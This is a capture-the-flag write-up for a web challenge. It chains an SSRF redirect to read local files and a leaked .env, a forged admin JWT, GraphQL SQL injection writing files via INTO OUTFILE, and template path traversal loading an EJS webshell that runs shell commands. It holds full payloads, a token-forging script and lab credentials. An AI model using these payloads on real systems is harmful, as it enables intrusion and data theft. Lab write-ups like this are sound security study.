Thanks to Keclem for this really cool challenge!
We land on a page that allows us to download reports, and also view them.
We can see a sort of ssrf when clicking on the download button:
GET /report-download?url=http://37.59.100.6:3000%2Freport-view%3Fid%3D1%26template%3Dagrosyne%26download%3Dtrue HTTP/1.1
Host: 37.59.100.6:3000
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: */*
Referer: http://37.59.100.6:3000/reports
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Lets try and download some files using the file protocol:
GET /report-download?url=file:///etc/passwd gives us Seuls http:// et https:// sont acceptés. Meaning we are only allowed http and https.
We can bypass this easily using a 302 redirect
GET /report-download?url=http://myserver:8080
$ python3 redirect.py 8080 file:///etc/passwd
Once we download the pdf that was created, we get our file read:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
mysql:x:100:102:MySQL Server,,,:/nonexistent:/bin/false
www:x:999:999::/home/www:/bin/sh
Now we need to try and get the source code. By creating an error like with this url: http://37.59.100.6:3000/report-view?id=1&template=agrosyneddd, we get the full file path.
So its an expressjs app.
Here is the file tree:
(thanks to Keclem for helping me out here xd)
The files that interest us here are the .env (which is hidden in the file tree), as well as the protected.js and the auth-middleware.js.
.env:
JWT_SECRET=sDXj8TxirYfNE2hfj9AhhGojSMGgxI_oz2BHLLS4JJA
MYSQL_ROOT_PASSWORD=testPasswordMySQL1!
MYSQL_DATABASE=my_database
MYSQL_USER=ctfuser
MYSQL_PASSWORD=CtfP@ssw0rd!2025
protected.js:
router.all('/api/orbis', authMiddleware('admin'), createHandler({
schema,
rootValue: resolvers
}));
auth-middleware.js:
const { createError } = require("../utils/error-utils");
const jwt = require("jsonwebtoken");
function checkToken(token) {
try {
return jwt.verify(token, process.env.JWT_SECRET);
} catch (error) {
return null;
}
}
const authMiddleware = (roleDefined) => {
return (req, res, next) => {
const token = req.query.token;
if (!token) {
return next(createError(401, "Missing token in query parameters."));
}
const decodedToken = checkToken(token);
if (!decodedToken) {
return next(createError(401, "Invalid or expired token."));
}
const role = decodedToken.role;
switch (roleDefined) {
case "admin":
if (role !== "admin") {
return next(createError(401, "Unauthorized."));
}
break;
}
next();
};
};
We can see an exposed graphql endpoint at /api/orbis, which is only accessible by the admin user.
As we have the JWT secret, we can simply create a new token, using this pyton script, to give us an account with the admin user value.
import jwt
import datetime
JWT_SECRET = "sDXj8TxirYfNE2hfj9AhhGojSMGgxI_oz2BHLLS4JJA"
JWT_ALGORITHM = "HS256"
def create_jwt(role="admin", expires_in_minutes=60):
payload = {
"role": role,
"exp": datetime.datetime.utcnow() + datetime.timedelta(minutes=expires_in_minutes),
"iat": datetime.datetime.utcnow()
}
token = jwt.encode(payload, JWT_SECRET, algorithm=JWT_ALGORITHM)
if isinstance(token, bytes):
token = token.decode('utf-8')
return token
if __name__ == "__main__":
print("JWT Token:\n", create_jwt())
Then we add the token as a parameter in the request:
GET /api/orbis?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4iLCJleHAiOjE3NDgyNTAwMzcsImlhdCI6MTc0ODI0NjQzN30.be0ggyrvyBngZ38ai4w-RSQA9FATQT-dvsL-TKJGzyg
I simply introspected the graphql to get our query here:
query {report(id: "1") {id reportType name quarter weekNumber year createdAt metrics {id regionName siteName nitratesMgKg}}}
Where there was an sql injection in the id value:
query {report(id: "1'") {id reportType name quarter weekNumber year createdAt metrics {id regionName siteName nitratesMgKg}}}
{"errors":[{"message":"(conn:7, no: 1064, SQLState: 42000) You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 28\nsql: \n SELECT\n r.id AS report_id,\n r.report_type,\n r.quarter,\n r.week_number,\n r.year,\n m.id AS metric_id,\n m.region_name,\n m.site_name,\n m.nitrates_mg_kg,... - parameters:[]","locations":[{"line":1,"column":8}],"path":["report"]}],"data":{"report":null}}
As we had the FILE role, we were allowed to read and write files on the host system, via our sql injection:
query {report(id: "1; SELECT 'hello' INTO OUTFILE '/tmp/ddd.ejs';") {id reportType name quarter weekNumber year createdAt metrics {id regionName siteName nitratesMgKg}}}
The app also have a file inclusion vulnerability on the template param, which allowed us to execute any ejs file located on the system. I uploaded it to /tmp for ease of access.
http://37.59.100.6:3000/report-view?id=1&template=../../../../../tmp/ddd : hello
Next, we simply needed to upload our ejs webshell, which we encoded in base64 to solve any problems:
<%= require("child_process").execSync("ls -la && ./getflag").toString(); %>
query {
report(id: "1; SELECT FROM_BASE64('PCU9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjU3luYygibHMgLWxhICYmIC4vZ2V0ZmxhZyIpLnRvU3RyaW5nKCk7ICU+') INTO OUTFILE '/tmp/evil.ejs' -- ") {
id
}
}
Now we request our webshell using the file inclusion, and get our flag:
http://37.59.100.6:3000/report-view?id=1&template=../../../../tmp/evil
total 116 drwxr-xr-x 1 node node 4096 May 21 20:47 . drwxr-xr-x 1 root root 4096 May 23 19:48 .. -rw-rw-r-- 1 node node 172 May 14 21:02 .env -rw-rw-r-- 1 node node 0 Apr 26 13:39 .env.example -rwsr-xr-x 1 root root 16008 May 21 20:47 getflag -rw-rw-r-- 1 node node 844 May 12 20:25 index.js drwxrwxr-x 1 node node 4096 May 21 20:47 node_modules -rw-rw-r-- 1 node node 66098 May 21 20:47 package-lock.json -rw-r--r-- 1 node node 633 May 11 11:26 package.json drwxrwxr-x 1 node node 4096 May 12 20:58 public drwxrwxr-x 1 node node 4096 May 10 23:51 src STHACK{D0nT_TrusT_AURES_ORBIS-Is-H3r3. WKhTML_FAIL_The-T3ST}